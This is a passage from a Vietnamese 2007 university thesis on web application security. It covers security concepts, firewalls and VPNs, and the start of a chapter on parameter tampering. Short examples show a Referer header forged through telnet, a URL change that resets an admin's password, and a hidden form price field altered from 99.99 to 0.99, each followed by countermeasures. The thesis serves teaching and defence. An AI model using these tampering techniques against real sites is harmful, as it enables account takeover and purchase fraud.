Đồ án Nghiên cứu bảo đảm an toàn thông tin bằng kiểm soát "lỗ hổng" trong dịch vụ Web

BỘ GIÁO DỤC VÀ ĐÀO TẠO TRƯỜNG ĐẠI HỌC DÂN LẬP HẢI PHÒNG -----oo0oo----- NGHIÊN CỨU BẢO ĐẢM AN TOÀN THÔNG TIN BẰNG KIẾM SOÁT “LỖ HỔNG” TRONG DỊCH VỤ WEB ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC HỆ CHÍNH QUY Nghành: Công Nghệ Thông Tin Giáo viên hướng dẫn: PGS.TS Trịnh Nhật Tiến. Sinh viên thực hiện: Hoàng Thị Thu Trang. Mã số sinh viên: 10312 HẢI PHÒNG-2007 MỤC LỤC Bảng chú giải từ viết tắt………………………………………………………..3 Lời mở đầu……………………………………………………………………..4 Chương 1: KHÁI NIỆM CƠ SỞ……………………………………………....7 1.1. KHÁI NIỆM VỀ BẢO VỆ WEB...……………………………………..7 1.2. ỨNG DỤNG WEB…………………………………………………….12 1.2.1. Khái niệm ứng dụng web…………………………………………...…12 1.2.2. Hoạt động của ứng dụng web………………………………………….13 1.3. MỘT SỐ CÔNG CỤ BẢO VỆ WEB.………………………………...15 Tường lửa……………………………………………………………...15 Mạng riêng ảo...……………………………………………………….17 Chương 2: CÁC KỸ THUẬT TẤN CÔNG LỢI DỤNG LỖ HỔNG………..18 2.1. CHÈN THAM SỐ……………………………………………………..18 2.1.1. Chỉnh sửa HTTP Header………………………………………………18 2.1.2. Chỉnh sửa địa chỉ URL………………………………………………...21 2.1.3. Chỉnh sửa trường ẩn Form……………………………………………..22 2.1.4. Thao tác trên cookie………………………………………………...…24 2.2. CHÈN MÃ LỆNH TRÊN TRÌNH DUYỆT …………….…………….27 2.2.1. Phương pháp tấn công XSS……………………………………………27 2.2.2. Biện pháp phòng tránh……………………………………………...…31 2.3. CHÈN CÂU LỆNH TRUY VẤN ………………………………….....32 2.3.1. Tấn công vượt qua kiểm tra đăng nhập……………………………......32 2.3.2. Tấn công dựa vào câu lệnh SELECT………………………………....34 2.3.3. Tấn công dựa vào câu lệnh INSERT…………………………………..36 2.3.4. Tấn công dựa vào Store-Procedure…………………………………....37 2.3.5. Biện pháp phòng tránh…………………………………………...……38 2.4. TẤN CÔNG DỰA VÀO “KIỂU QUẢN LÝ PHIÊN LÀM VIỆC…..40 2.4.1. Tấn công kiểu “ấn định phiên làm việc”……………………………...41 2.4.2. Tấn công kiểu “đánh cắp phiên làm việc”…………………………….45 2.4.3. Biện pháp phòng tránh………………………………………………...46 2.5. TẤN CÔNG “TỪ CHỐI DỊCH VỤ”………………………………….47 2.5.1. Khái niệm DoS………………………………………………………...47 a/ Lợi dụng TCP thưc hiện Synflood………………………………….49 b/ Tấn công vào băng thông…………………………………………...50 c/ DdoS………………………………………………………………...52 2.5.2. Biện pháp phòng tránh…………………………………………………53 2.6. NGÔN NGỮ PHÍA TRÌNH CHỦ……………………………………..54 2.7. TẤN CÔNG “TRÀN BỘ ĐỆM”………………………………………56 Chương 3: TỔNG KẾT KỸ THUẬT TẤN CÔNG CỦA HACKER………...58 3.1. THU THẬP THÔNG TIN Ở MỨC HẠ TẦNG CỦA MỤC TIÊU…...58 3.2. KHẢO SÁT ỨNG DỤNG WEB………………………………………61 Ví dụ thử nghiệm……………………………………………………………..63 Bảng chú giải từ viết tắt DNS Domain Name System Hệ thống tên miền ACK Acknowlegment Xác nhận CSDL Cơ sở dữ liệu SYN Synchronize Đồng bộ TTL Time TO Live Thời gian tồn tại FIN Fully Intergrated Netword Mạng tích hợp đầy đủ HTTP Hyper Text Transfer protocol Giao thức truyền siêu văn bản SSL Secure Socket Layer Khe cắm an toàn HTTPS HTTP + SSL Hacker Tin tặc CGI Common Gateway Interface Giao diện cổng thông thường IP Internet Protocol Giao thức mạng TCP Transfer Control Protocol Giao thức điều khiển truyền thông SSI Server Side Include Ngôn ngữ phía trình chủ URI Uniform Resour Identifies Con trỏ đến tài nguyên web URL Uniform Resour Locator Định vị tài nguyên web CSV Client Side Validator Kiểm tra ngôn ngữ phía trình duyệt dbo Data base owner Người sở hữu cơ sở dữ liệu Sa System Administrator Người quản trị hệ thống IIS Internet Information Server Dịch vụ thông tin mạng OWASP The open web Appllication standard project Dự án ứng dụng web HTML Hyper Text Markup Language Ngôn ngữ đánh dấu siêu văn bản IIS Internet Infomation Server LỜI MỞ ĐẦU Ngày nay, khi Internet được phổ biến rộng rãi, các tổ chức, cá nhân đều có nhu cầu giới thiệu thông tin của mình trên xa lộ thông tin cũng như thực hiện các phiên giao dịch trực tuyến. Vấn đề nảy sinh là khi phạm vi ứng dụng của các ứng dụng Web ngày càng mở rộng thì khả năng xuất hiện lỗi (lỗ hổng) và bị tấn công càng cao, trở thành đối tượng cho nhiều người tấn công với các mục đích khác nhau. Đôi khi, cũng chỉ đơn giản là để thử tài hoặc đùa bỡn với người khác. Cùng với sự phát triển không ngừng của Internet và các dịch vụ trên đó, số lượng các vụ tấn công trên Internet cũng tăng theo cấp số nhân. Trong khi các phương tiện thông tin đại chúng ngày càng nhắc nhiều đến những khả năng truy nhập thông tin của Internet, thì các tài liệu chuyên môn bắt đầu đề cập nhiều đến vấn đề bảo đảm an toàn dữ liệu cho các máy tính được kết nối vào mạng Internet. Theo số liệu của CERT (Computer Emegency Response Team - "Đội cấp cứu máy tính"): “số lượng các vụ tấn công trên Internet được thông báo cho tổ chức này là ít hơn 200 vào năm 1989, khoảng 400 vào năm 1991, 1400 vào năm 1993, và 2241 vào năm 1994, và năm 2001 là 5315 vụ.” Nguyên nhân chủ yếu làm cho các vụ tấn công tăng nhanh là do có rất nhiều “lỗ hổng” được tìm thấy trên các ứng dụng web. Theo thống kê của Symantec “năm 2004 có 49% số lượng lỗ hổng được tìm thấy trong các ứng dụng web. Từ tháng 7 đến tháng 11 năm 2006, xác định lỗ hổng bảo mật nằm trong ứng dụng web chiếm tới 75%, tăng 15% so với đầu năm” Những vụ tấn công này nhằm vào tất cả các máy tính có mặt trên Internet, máy tính của các công ty lớn như AT&T, IBM, các trường đại học, các cơ quan nhà nước, các tổ chức quân sự, nhà băng... Một số vụ tấn công có quy mô khổng lồ (có tới 100.000 máy tính bị tấn công). Hơn nữa, những con số này chỉ là phần nổi của tảng băng. Một phần rất lớn các vụ tấn công không được thông báo, vì nhiều lý do như: nỗi lo bị mất uy tín, hoặc đơn giản những người quản trị hệ thống không hay biết những cuộc tấn công đang nhằm vào hệ thống của họ. (Một ví dụ điển hình là cuộc tấn công vào phần mềm thương mại của IBM tháng 3/2001, hai hacker đã tìm thấy lỗ hổng trên ứng dụng mà bất cứ ai với một trình duyệt Web cũng có thể lấy tài khoản của người dùng, thậm chí cả người quản trị). Không chỉ số lượng các cuộc tấn công tăng lên nhanh chóng, mà các phương pháp tấn công ngày càng tinh vi và có tổ chức. Mặt khác, việc quản trị các hệ thống mạng đòi hỏi nhà quản trị hệ thống có kiến thức và kinh nghiệm về hệ thống mạng chắc chắn, do đó sự yếu kém trong quản lý sẽ tạo nhiều điều kiện cho các hacker khai thác. Cũng theo CERT, những cuộc tấn công thời kỳ 1988-1989 chủ yếu là đoán “tên người sử dụng/mật khẩu” (UserID/password) hoặc sử dụng lỗi của các chương trình và hệ điều hành (security hole) làm vô hiệu hệ thống bảo vệ, tuy nhiên các cuộc tấn công vào thời gian gần đây còn bao gồm cả các thao tác như giả mạo địa chỉ IP, theo dõi thông tin truyền qua mạng, chiếm các phiên làm việc từ xa (telnet hoặc rlogin), cài trojan hay worm để kiểm soát hay điều khiển máy tính…vì thế, nhu cầu bảo vệ thông tin trên Internet là cần thiết nhằm mục đích bảo vệ dữ liệu, bảo vệ thông tin người dùng và bảo vệ hệ thống. Khi nói đến vấn đề bảo mật, hầu hết các chuyên gia bảo mật đều chú trọng đến sự an toàn của hệ thống mạng và hệ điều hành. Để bảo vệ hệ thống, phương pháp thường được chọn là sử dụng firewall. Tuy nhiên, theo tuyên bố của CSI/FBI : 78% nơi bị hại có sử dụng firewall và 59% thì bị tấn công thông qua Internet, cụ thể hơn là theo báo cáo của CSI/FBI Computer Crime và Security Survey thì tổng số thiệt hại do những ứng dụng Web bị tấn công từ năm 1997 đến năm 2006 là hơn 800 triệu đôla Mỹ. Với những công cụ tự động tìm lỗ hổng tuy giúp rất nhiều cho những nhà lập trình Web nhưng vẫn không thể ngăn chặn toàn bộ vì công nghệ Web đang phát triển nhanh chóng (chủ yếu chú trọng đến yếu tố thẩm mĩ, yếu tố tốc độ…) nên dẫn đến nhiều khuyết điểm mới phát sinh. Sự tấn công không nằm trong khuôn khổ vài kĩ thuật đã phát hiện, mà linh động và tăng lên tùy vào những sai sót của nhà quản trị hệ thống cũng như của những người lập trình ứng dụng. Chương 1: KHÁI NIỆM CƠ SỞ 1.1. KHÁI NIỆM VỀ BẢO VỆ WEB Bảo vệ web không còn là khái niệm xa lạ đối với những người lập trình web, những nhà quản trị mạng,… Mục tiêu bảo vệ web gồm có: Bảo mật: Thông tin không được đọc trái phép. Bảo toàn: Thông tin không bị sửa đổi một cách trái phép. Bảo đảm tính sẵn sàng: Người dùng hợp pháp có quyền truy cập hay sử dụng thông tin. Hai đối tượng chính trong sử dụng dịch vụ web là người dùng và người quản trị hệ thống. Phía người dùng dịch vụ web, an toàn trên mạng trước hết là yêu cầu đặt ra với server. Thứ nhất, những yêu cầu gửi đến server phải được thưc thi và phản hồi trong thời gian nhất định (tính sẵn sàng). Thứ hai, thông tin gửi tới phải được đảm bảo không bị virut hay bị sửa đổi bởi tác nhân khác (tính toàn vẹn). Thứ ba, server không phổ biến thông tin cá nhân trên mạng (tính bí mật). Phía nhà quản trị hệ thống, họ có những yêu cầu cũng khá giống với người dùng nhưng nhìn dưới một góc độ khác. Thứ nhất, họ phải đảm bảo rằng người dùng không thể xâm nhập vào server để thay đổi nội dung của website (tính toàn vẹn). Thứ hai, người dùng không thể truy cập vào các thông tin không thuộc quyền của họ (tính bí mật và bắt buộc). Thứ ba, người dùng không thể tấn công server làm nó không thể phục vụ người dùng khác (tính sẵn sàng). Thứ tư, người dùng đã được nhận dạng phải chịu trách nhiệm và không thể chối bỏ hành động của mình (tính xác thực). Đối tượng tấn công mạng (Intruder): là cá nhân hoặc tổ chức sử dụng các công cụ phá hoại như phần mềm hoặc phần cứng để dò tìm các điểm yếu, lỗ hổng bảo mật trên hệ thống, thực hiện các hoạt động xâm nhập và chiếm đoạt tài nguyên mạng trái phép. Một số đối tượng tấn công mạng: Tin tặc (Hacker): là kẻ xâm nhập mạng trái phép bằng cách sử dụng các công cụ phá mật khẩu hoặc khai thác điểm yếu của các thành phần truy nhập trên hệ thống. Kẻ giả mạo (Masquerader): là kẻ giả mạo thông tin trên mạng. Một số hình thức giả mạo như giả mạo địa chỉ IP, tên miền, định danh người dùng… Kẻ nghe trộm (Evesdropping): là đối tượng nghe trộm thông tin trên mạng sử dụng các công cụ sniffer, sau đó dùng các công cụ phân tích và debug để lấy được các thông tin có giá trị. Mục đích: ăn cắp thông tin có giá trị về kinh tế, phá hoại hệ thống mạng có chủ định hoặc cũng vó thể chỉ là những hành động vô ý thức nhằm thử nghiệm các chương trình không kiểm tra cẩn thận,… Lỗ hổng bảo mật: là những yếu kém trên hệ thống hoặc ẩn chứa trong một dịch vụ nào đó, mà dựa vào đó kẻ tấn công có thể xâm nhập trái phép để thực hiện các hành động phá hoại hoặc chiếm đoạt tài nguyên bất hợp pháp. Nguyên nhân gây ra các lỗ hổng bảo mật là khác nhau: do lỗi bản thân hệ thống, do phần mềm cung cấp, hoặc do người quản trị yếu kém không hiểu sâu sắc các dịch vụ cung cấp,… Mức độ ảnh hưởng của các lỗ hổng là khác nhau: có lỗ hổng chỉ ảnh hưởng tới chất lượng dịch vụ, có lỗ hổng ảnh hưởng sâu sắc tới toàn bộ hệ thống,…. Một số hình thức tấn công mạng Dựa vào lỗ hổng bảo mật trên mạng: lỗ hổng này thường là những điểm yếu của dịch vụ mà hệ thống cung cấp. Sử dụng các công cụ để phá hoại: ví dụ các chương trình phá khóa mật khẩu để truy cập bất hợp pháp vào chương trình. Kẻ tấn công có thể kết hợp cả hai hình thức trên để đạt được mục đích. Tùy thuộc vào cách tấn công mà mức nguy hại tới hệ thống là khác nhau. Các mức tấn công hệ thống: Mức 1: Tấn công vào một số dịch vụ mạng: web, email,… dẫn đến Nguy cơ lộ thông tin về cấu hình mạng. Mức 2: Kẻ phá hoại dùng tài khoản của người dùng hợp pháp để chiếm đoạt tài nguyên hệ thống. Kẻ phá hoại có thể thay đổi quyền truy nhập qua các lỗ hổng bảo mật hoặc đọc các thông tin trong tập tin liên quan đến truy nhập hệ thống như: /etc/passwd (Linux) và SAM file (windows). Mức 3,4,5: Kẻ phá hoại không sử dụng quyền của người dung thông thường, mà có thêm một quyền cao hơn với hệ thống như quyền kích hoạt một số dịch vụ, xem các thông tin khác trên hệ thống. Mức 6: Kẻ tấn công chiếm được quyền root hoặc admin trên hệ thống. Các mức bảo vệ an toàn mạng Vì không có biện pháp an toàn tuyệt đối, nên phải dùng nhiều mức bảo vệ khác nhau, tạo thành rào chắn đối với các hoạt động xâm phạm. Việc bảo vệ thông tin trên mạng chủ yếu là bảo vệ thông tin cất giữ trong các máy tính, đặc biệt là trong các server mạng. Các lớp rào chắn bảo vệ thông tin các trạm của mạng: Lớp thứ nhất: qui định quyền truy nhập các thông tin của mạng và quyền hạn trên tài nguyên đó, cụ thể là các tệp tin. Lớp thứ hai: hạn chế theo tài khoản truy nhập gồm đăng ký tên và mật khẩu tương ứng. Đây là phương pháp bảo vệ phổ biến nhất vì nó đơn giản, ít tốn kém và cũng có hiệu quả. Mỗi người sử dụng muốn truy cập vào mạng phải có đăng ký tên và mật khẩu. Người quản trị hệ thống có trách nhiệm quản lý, kiểm soát mọi hoạt động mạng và xác định quyền truy cập của người dùng khác tùy theo thời gian và không gian. Lớp thứ ba: sử dụng các phương pháp mã hóa. Dữ liệu được biến đổi từ dạng đọc được sang dạng “khó” đọc, theo một thuật toán nào đó. Lớp thứ tư: lớp bảo vệ vật lý nhằm ngăn cản các truy nhập vật lý bất hợp pháp vào hệ thống. Thường dùng các biện pháp truyền thống như ngăn chặn người không có nhiệm vụ vào phòng máy, dùng các hệ thống khóa trên máy tính, cài các hệ thống báo động khi có truy nhập trái phép. Lớp thứ năm: cài đặt các hệ thống tường lửa, nhằm ngăn chặn các truy nhập trái phép và cho phép lọc các gói tin không muốn gửi đi, hoặc nhận vào vì lý do nào đó. Nguyên nhân của các vụ tấn công: Có rất nhiều nguyên nhân dẫn đến tình trạng bảo mật kém của ứng dụng web. Tuy nhiên ta có thể tổng kết một số nguyên nhân chính: + Các ứng dụng web được viết dựa trên cơ chế bảo mật client_server chuẩn đơn giản. Khi xây dựng giao thức HTTP, người ta chưa tính đến vấn đề bảo mật cho giao thức này. Do vậy việc xuất hiện nhiều lỗ hổng bảo mật là điều dễ hiểu. + Sự phức tạp của các ứng dụng web làm cho việc viết các đoạn mã bảo mật rất khó khăn. Các ngôn ngữ lập trình mới ra đời, các chuẩn về định dạng dữ liệu,… làm cho các ứng dụng web thêm phức tạp. + Những người phát triển web tập trung nhiều vào chức năng và tốc độ chứ không phải bảo mật. Các bước xây dựng một ứng dụng web là phân tích- thiết kế- lập trình- kiểm thử. Ở các bước này, vấn đề bảo mật thông thường chỉ được quan tâm ở giai đoạn cuối. Ở giai đoạn này nếu phát hiện ra các lỗ hổng về bảo mật thì cũng chỉ vá lỗi chứ không giải quyết triệt để các lỗi đó. + Lỗi nằm trong các dịch vụ nền tảng web như: hệ điều hành, trình duyệt web, các công cụ lập trình web. Theo thống kê của IBM’s waston Research Lab, cứ 1500 dòng mã lệnh có một lỗ hổng được tìm thấy. Hệ điều hành winXP có tới 45 000 000 dòng lệnh (có 30 000 lỗ hổng), còn win2000 có 35 000 000 dòng mã (khoảng 23 000 lỗ hổng) + Nội dung trang web thường xuyên thay đổi. + Nhà quản trị mạng còn yếu kém về năng lực và sử dụng dịch vụ. 1.2. KHÁI NIỆM ỨNG DỤNG WEB 1.2.1.Khái niệm Khi trang web tồn tại trên Internet, nó được lưu trữ tại nơi nào đó để người dùng truy xuất tới, đó chính là webserver. Webserver có nhiệm vụ lưu trữ các trang web để webclient truy xuất tới. Ứng dụng Web là một ứng dụng chủ/khách (client/server) sử dụng giao thức HTTP (1.2.2) để tương tác với người dùng hay hệ thống khác. Trình khách dành cho người dùng thường là một trình duyệt Web như Internet Explorer hay Netscape Navigator. Cũng có thể là một chương trình đóng vai trò đại lý người dùng hoạt động như một trình duyệt tự động. Người dùng gửi và nhận các thông tin từ trình chủ thông qua việc tác động vào các trang Web. Các chương trình có thể là các trang trao đổi mua bán, các diễn đàn, gửi nhận e-mail… Tốc độ phát triển các kỹ thuật xây dựng ứng dụng Web cũng phát triển rất nhanh. Trước đây những ứng dụng Web thường được xây dựng bằng CGI (Common Gateway Interface), được chạy trên các trình chủ Web và có thể kết nối vào các CSDL đơn giản trên cùng máy chủ. Ngày nay ứng dụng Web thường được viết bằng Java (hay các ngôn ngữ tương tự), và chạy trên máy chủ phân tán, kết nối đến nhiều nguồn dữ liệu. Một ứng dụng web thường có kiến trúc: Hình 1: Kiến trúc của ứng dụng Web Lớp trình bày: Lớp này có nhiệm vụ hiển thị dữ liệu cho người dùng, ngoài ra còn có thể có thêm các ứng dụng tạo bố cục cho trang web. Lớp ứng dụng: là nơi xử lý của ứng dụng Web. Nó sẽ xử lý thông tin người dùng yêu cầu, đưa ra quyết định, gửi kết quả đến “lớp trình bày”. Lớp này thường được cài đặt bằng các kỹ thuật lập trình như CGI, Java, PHP hay ColdFusion, được triển khai trên các trình chủ như IBM WebSphere, WebLogic, Apache, IIS… Lớp dữ liệu: thường là các hệ quản trị CSDL (DBMS-database management system) chịu trách nhiệm quản lý các file dữ liệu và quyền sử dụng. 1.2.2. Hoạt động Hình 2: Mô hình hoạt động của một ứng dụng Web Mô hình hoạt động của một ứng dụng web thường có: Trình khách (trình duyệt (client)): Internet Explorer, Netscap Navigator. Trình chủ (Server): Apache, IIS, …. Hệ quản trị CSDL : SQL Server, MySQL, Access…. Mô tả hoạt động: Đầu tiên trình duyệt sẽ gửi một yêu cầu (request) đến trình chủ Web thông qua các lệnh cơ bản GET, POST… của giao thức HTTP, trình chủ lúc này có thể cho thực thi một chương trình được xây dựng từ nhiều ngôn ngữ như Perl, C/C++… hoặc trình chủ yêu cầu bộ diễn dịch thực thi các trang ASP, JSP… theo yêu cầu của trình khách. Tùy theo các tác vụ của chương trình được cài đặt mà nó xử lý, tính toán, kết nối đến CSDL, lưu các thông tin do trình khách gửi đến…và từ đó trả về cho trình khách một luồng dữ liệu có định dạng theo “giao thức HTTP” ( là cách thức trình khách/ trình chủ giao tiếp với nhau, và qui định cấu trúc dữ liệu trao đổi trên đường truyền), gồm 2 phần: + Header mô tả các thông tin về gói dữ liệu và các thuộc tính, trạng thái trao đổi giữa trình duyệt và WebServer. + Body là phần nội dung dữ liệu mà Server gửi về Client, nó có thể là một file HTML, một hình ảnh, một đoạn phim hay một văn bản bất kì. Theo hình 2, luồng thông tin giữa trình chủ và trình khách là luồng thông tin hợp lệ. Vì thế, nếu tin tặc tìm thấy vài lỗ hổng trong ứng dụng Web thì tường lửa không còn hữu dụng trong việc ngăn chặn kẻ tấn công đó. Do đó, các kĩ thuật tấn công vào một hệ thống mạng ngày nay đang dần tập trung vào những sơ suất (hay lỗ hổng) trong quá trình tạo ứng dụng của những nhà phát triển Web hơn là tấn công trực tiếp vào hệ thống mạng, hệ điều hành. Tuy nhiên, tin tặc cũng có thể lợi dụng các lỗ hổng Web để mở rộng sự tấn công của mình vào các hệ thống khác. 1.3. MỘT SỐ CÔNG CỤ BẢO VỆ WEB Tường lửa (firewall) Tường lửa là một công cụ được tích hợp vào hệ thống mạng để chống lại sự truy cập trái phép nhằm bảo vệ các nguồn thông tin nội bộ cũng như hạn chế sự xâm nhập vào hệ thống của một số thông tin khác không mong muốn. Internet FireWall là một tập hợp thiết bị (bao gồm phần cứng và phần mềm) giữa mạng của một tổ chức, một công ty, hay một quốc gia (Intranet) và Internet. Hình 3: Truy cập thông qua tường lửa Chức năng: Tường lửa quyết định những dịch vụ nào từ bên trong được phép truy cập từ bên ngoài, những người nào từ bên ngoài được phép truy cập đến các dịch vụ bên trong, và cả những dịch vụ nào bên ngoài được phép truy cập bởi những người bên trong. FireWall bao gồm : Một hoặc nhiều hệ thống máy chủ kết nối với các bộ định tuyến (router) hoặc có chức năng router. Các phần mềm quản lí an ninh chạy trên hệ thống máy chủ. Thông thường là các hệ quản trị xác thực (Authentication), cấp quyền (Authorization) và kế toán (Accounting). Nhiệm vụ cơ bản của FireWall là bảo vệ: + Dữ liệu: Những thông tin cần được bảo vệ do những yêu cầu: Bảo mât, tính toàn vẹn, tính kịp thời. + Tài nguyên hệ thống. + Danh tiếng của công ty sở hữu các thông tin cần bảo vệ. + Chống lại những tấn công từ bên ngoài. - Cách thứ nhất là dùng phương pháp dò mật khẩu trực tiếp: đoán mật khẩu thủ công hoặc dùng các công cụ phá mật khẩu. - Cách thứ hai là dùng lỗi của các chương trình ứng dụng và bản thân hệ điều hành đã được sử dụng từ những vụ tấn công đầu tiên và vẫn chiếm quyền truy cập (có được quyền của người quản trị hệ thống). + Nghe lén thông tin. + Giả mạo địa chỉ IP. Hạn chế: Không đủ thông minh để có thể đọc hiểu từng loại thông tin và phân tích nội dung tốt hay xấu của nó. Tường lửa chỉ có thể ngăn chặn sự xâm nhập của thông tin không mong muốn, nhưng phải xác định rõ thông số địa chỉ. Không thể ngăn chặn cuộc tấn công, nếu không đi qua nó. Cụ thể: nó không thể chống lại tấn công từ một đường dial-up (dịch vụ quay số), hoặc sự rò rỉ thông tin do dữ liệu bị sao chép bất hợp pháp lên đĩa mềm. Không thể chống lại cuộc tấn công bằng dữ liệu. Khi có một số chương trình được chuyển theo thư điện tử, vượt qua tường lửa vào trong mạng được bảo vệ và bắt đầu hoạt động ở đây. Không thể làm nhiệm vụ rà quét virut trên các dữ liệu được truyền qua nó. Mạng riêng ảo (VPN-Virtual Private Network) VPN gồm các máy tính kết nối với nhau qua mạng Internet, nhưng sử dụng các biện pháp xác thực bằng mật khẩu và mã hoá dữ liệu để tạo thành một mạng riêng biệt giả lập. Hệ thống VPN phân chia một cách logic. Hệ thống mạng riêng được xây dựng trên nền tảng hạ tầng chung, hay hạ tầng công cộng ứng dụng các công nghệ đảm bảo tự triển khai được sự phân chia tài nguyên, và sự an toàn của dữ liệu, hoặc do nhà cung cấp dịch vụ cung cấp. Mạng VPN có thể xây dựng trên Internet hoặc trên giao thức IP, hay hạ tầng ATM của nhà cung cấp dịch vụ. Hình 4: cấu trúc mạng riêng ảo VPN thực hiện kết nối điểm-điểm, các dòng dữ liệu và thông tin liên kết người dùng được truyền trên mạng chung trong một ống ảo (tunnel). Ống ảo giữa hai người dùng xuất hiện như một liên kết riêng -> thông tin an toàn và bảo mật hơn khi truyền trên nó. VPN không duy trì liên kết cố định giữa các điểm cuối, kết nối chỉ tạo khi cần, khi không cần nữa thì mạng lại dành dung lượng và tài nguyên mạng cho mục đích khác. Chương 2: CÁC KĨ THUẬT TẤN CÔNG LỢI DỤNG “LỖ HỔNG” VÀ BẢO VỆ WEB 2.1. TẤN CÔNG KIỂU “CHÈN THAM SỐ” (Parameter Tampering) 2.1.1. Chỉnh sửa HTTP Header (HTTP Header malipulation) Khái niệm “HTTP Header” HTTP Header là phần đầu của thông tin mà trình khách và trình chủ gửi cho nhau. Thông tin trình khách gửi cho trình chủ là HTTP requests (yêu cầu), ngược lại là HTTP responses (trả lời). Thông thường, một HTTP header gồm nhiều dòng, mỗi dòng chứa tên tham số và giá trị. Một số tham số có thể được dùng trong cả header yêu cầu và header trả lời, còn số khác thì chỉ đuợc dùng riêng trong từng loại. Header yêu cầu: GET /tintuc/homnay.asp HTTP/1.1 Accept: */* Accept_Language: en-us Connection: Keep-Alive Host: localhost Referer: User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Accept-Encoding: gzip, deflate Dòng đầu cho biết phương thức yêu cầu (GET hoặcPOST), địa chỉ yêu cầu (/tintuc/homnay.asp) và phiên bản HTTP/1.1. Accept-Language: Cho biết ngôn ngữ dùng trong trang web. Host: Cho biết địa chỉ của máy chủ. Referer: Cho biết địa chỉ của trang web tham chiếu tới. User-Agent: thông tin từ máy người dùng. Accept-Encoding: kiểu mã hóa dữ liệu. Header của HTTP request sẽ kết thúc bằng một dòng trống. Header trả lời: HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Thu, 13 Jul 2000 05:46:53 GMT Content-Length: 2291 Content-Type: text/html Set-Cookie: ASPSESSIONIDQQGGGNCG=LKLDFFKCINFLDMFHCBCBMFLJ; path=/ Cache-control: private Dòng đầu là dòng trạng thái, để cho biết phiên bản HTTP được dùng (HTTP/1.1), mã trạng thái (200) và trạng thái (OK). Server: trình duyệt máy chủ sử dụng. Date: thời gian trả lời yêu cầu. Tiếp theo là một dòng trống để báo hiệu kết thúc header, tiếp theo là phần thân của HTTP response. Cách tấn công: Thông thường chỉ có trình duyệt và trình chủ trao đổi HTTP Header, còn hầu hết các ứng dụng web thì không. Hacker có thể tự viết chương trình để điều khiển HTTP header (như xem nội dung, tạo mới), hay sử dụng các proxy miễn phí, cho phép thay đổi dữ liệu được gửi từ trình duyệt. Ngoài ra hacker có thể tấn công trực tiếp bằng cách đăng nhập từ xa gửi HTTP Request đến trình chủ. Ví dụ 1: su-2.05# telnet localhost 80 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. GET / HTTP/1.0 Referer: www.redhat.com/login.asp User-Agent: HTTP/1.1 200 OK Date: Mon, 17 Dec 2001 20:39:02 GMT Server: Connection: close Content-Type: text/html Ví dụ 2: Referer header chứa URL của trang web (nơi yêu cầu được gửi đi). Vì thế một vài ứng dụng sẽ kiểm tra thành phần này trong header để đảm bảo rằng nó được gửi từ trang web của ứng dụng đó. Việc làm này dùng để ngăn chặn hacker lưu lại trang web xuống máy, chỉnh sửa thuộc tính form, phá hoại bằng cách nhằm vào CSV hay SSI, sau đó gửi đi. Phương pháp kiểm tra này thất bại khi hacker có thể sửa lại Referer header, giống như được gửi từ trang web hợp lệ: Referer: www.redhat.com/login.asp Biện pháp khắc phục + Không tin tưởng vào HTTP header nếu chưa có các biện pháp an toàn. + Với các header gửi từ trình chủ thì có thể được mã hoá. + Với các header gửi từ trình khách thì không nên dùng các tham số như referer,… để thực hiện các biện pháp an toàn. 2.1.2. Chỉnh sửa địa chỉ URL (URL Malipulation) Khái niệm: Khi nhập một form HTML thì kết quả sẽ được gửi đi theo hai cách: GET hay POST. Nếu dùng GET, thì tất cả các tên biến và giá trị của nó sẽ xuất hiện trong chuỗi URL. Ví dụ 3: Có một trang web ứng dụng cho phép thành viên được thay đổi mật khẩu. Với: + username là tên người cần thay đổi mật khẩu. + newpass là mật khẩu mới cho username Tuy nhiên, bằng cách thay đổi tham số như sau: Hacker đã có thể thay đổi mật khẩu của admin bằng một mật khẩu mới bất kì, trong ví dụ này là ‘111111’ Biện pháp khắc phục: Để chống lại kiểu thay đổi nội dung một chuỗi URL, ứng dụng có thể áp dụng biện pháp sau: Ứng dụng sử dụng cơ chế bảng băm (hash table). Sau khi người dùng chứng thực thành công với một username, ứng dụng sẽ sinh ra một khoá tương ứng. Khoá này sẽ được lưu trên server cùng với biến username trong đối tượng bảng băm. Mỗi khi người dùng kết nối đến ứng dụng, khoá và username này sẽ được gửi đi và được so sánh với khoá và username trong bảng băm. Nếu tương ứng với bản ghi trong dữ liệu thì hợp lệ. Còn nếu không thì server biết rằng người dùng đã thay đổi URL. Ngoài ra, với những thông tin có giá trị, cần mã hoá chúng trước khi cho hiển thị trên trình duyệt để tránh hacker có thể sửa đổi tùy ý. 2.1.3. Chỉnh sửa trường ẩn Form (Hidden Form Field Malipulation) Khái niệm Thông tin có thể được chuyển đổi thông qua một trường ẩn của form, gọi là Hidden Form Field. Trường ẩn form không hiển thị trên màn hình trình duyệt nhưng người dùng có thể tìm thấy nội dung của nó trong “view source”, đây là điểm yếu để hacker lợi dụng bằng cách lưu nội dung trang web xuống trình duyệt, thay đổi nội dung trang và gửi đến trình chủ. Ví dụ 4: Form gốc có nội dung như sau: ... ... Nếu không có sự thay đổi nào thì yêu cầu đến trình chủ có nội dung : POST /cuahang.pl HTTP/1.0 ... giaca=99.99 Nhưng nếu hacker gán một giá trị khác cho trường “giaca” : ... ... thì yêu cầu sẽ thay đổi: POST /cuahang.pl HTTP/1.0 ... giaca=0.99 Biện pháp khắc phục Chỉ nên sử dụng trường ẩn của form để hiển thị dữ liệu trên trình duyệt, không được sử dụng giá trị của biến để thao tác trong xử lí ứng dụng. Dùng biến HTTP_REFERER để kiểm tra nguồn gốc của yêu cầu gửi đến, tuy nhiên hacker có thể sử dụng Proxy để che dấu nguồn gốc thực của nó, vì vậy cũng không nên quá tin tưởng biến HTTP_REFERER để kiểm tra. Ghép tên và giá trị của biến ẩn thành một chuỗi đơn. Sử dụng thuật toán mã hoá hoặc một kiểu hash một chiều khác để tổng hợp chuỗi đó và lưu nó vào một hidden field gọi là “Chuỗi mẫu”. Khi giá trị trong form được gửi đi, các thao tác như trên được thực hiện lại với cùng một khoá mà ta định trước. Sau đó đem so sánh với “Chuỗi mẫu”, nếu chúng không khớp nhau thì chứng tỏ giá trị trong biểu mẫu đã bị thay đổi. Dùng một sessionID để tham chiếu đến thông tin được lưu trữ trên CSDL. 2.1.4. Thao tác trên Cookie a) Khái niệm: Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa trình chủ và trình duyệt của người dùng. Cookie lưu 